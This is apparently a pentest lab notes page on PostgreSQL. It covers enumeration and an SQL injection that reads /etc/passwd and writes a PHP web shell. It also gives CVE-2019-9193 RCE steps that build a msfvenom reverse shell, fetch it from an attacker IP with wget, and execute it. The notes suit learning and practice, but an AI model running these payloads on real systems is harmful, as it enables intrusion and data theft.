> For the complete documentation index, see [llms.txt](https://x7331.gitbook.io/boxes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://x7331.gitbook.io/boxes/services/tcp/dbms/sql/5432-postgresql.md).

# 5432 - PostgreSQL

## Usage

PostgreSQL stores metadata in tables beggining with `pg_`.

{% tabs %}
{% tab title="Version" %}

```sql
SELECT version();
```

{% endtab %}

{% tab title="Current User" %}

```sql
SELECT current_user;
```

{% endtab %}

{% tab title="Databases" %}

```sql
SELECT datname FROM pg_database;
```

{% endtab %}

{% tab title="Tables" %}
{% code overflow="wrap" %}

```sql
// Query only user-created tables (excluding `pg_` tables)
SELECT table_name FROM <database>.information_schema.tables WHERE table_schema='public';
```

{% endcode %}
{% endtab %}

{% tab title="Columns" %}
{% code overflow="wrap" %}

```sql
SELECT column_name, data_type FROM <database>.information_schema.columns WHERE table_name='<table>'
```

{% endcode %}
{% endtab %}
{% endtabs %}

We can connect via CLI with `psql`.

{% tabs %}
{% tab title="Connect" %}

```bash
psql -h 127.0.0.1 -U postgres
```

{% endtab %}
{% endtabs %}

```bash
# Listing dbs
postgres=# \l
# Connecting to a db
postgres=# \c cozyhosting
# Listing tables
cozyhosting=# \dt
# Dumping data
cozyhosting=# select * from users;
```

## SQLi

### Read/Write

* `COPY FROM` -> insert data **into a table from a file** (the PostgreSQL process must have `read` access to the file and the user making the query permissions to create a new table).

```sql
// example using stacked queries
create table tmp(data text); // create the table tmp with one column named data
copy tmp from '/etc/passwd'; // copy the file contents into the tmp table
select * from tmp; // select all data from the tmp table
```

* `COPY TO` -> copy data **to a file from a table** (the PostgreSQL process must have `write` permissions to the directory where the file will be created).

```sql
1';copy(select '<?php passthru($_GET["cmd"]);?>') to '/var/tmp/cmd.php';-- -
```

* `pg_read_file()` -> instead of inserting the results into a table, it just returns a single field containing all the data (useful if the PostgreSQL process has `read` access on the file, but the user querying don't have permissions to create a new table).

```sql
SELECT pg_read_file('/var/tmp/proof.txt');
```

## RCE

PostgreSQL `9.3`-`11.7` has an authenticated RCE vulnerability ([CVE-2019-9193](https://x7331.gitbook.io/notes/)) with an available [PoC](https://www.exploit-db.com/exploits/50847).

{% code overflow="wrap" %}

```bash
# Create a revese shell payload
$ msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.45.170 LPORT=80 -f elf -o revshell.elf
​
# Transfer the file
$ python3 50847.py -i nibbles -p 5437 -U postgres -P postgres -c 'wget 192.168.45.170/revshell.elf -O /tmp/revshell.elf'
​
# Assign execute permissions
$ python3 50847.py -i nibbles -p 5437 -U postgres -P postgres -c 'chmod +x /tmp/revshell.elf'
​
# Execute the file
$ python3 50847.py -i nibbles -p 5437 -U postgres -P postgres -c '/tmp/revshell.elf'
```

{% endcode %}